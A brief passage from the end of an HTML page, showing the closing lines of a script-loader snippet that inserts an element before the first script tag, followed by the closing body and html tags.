var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(bp, s);
})();
</script>
</body>
</html>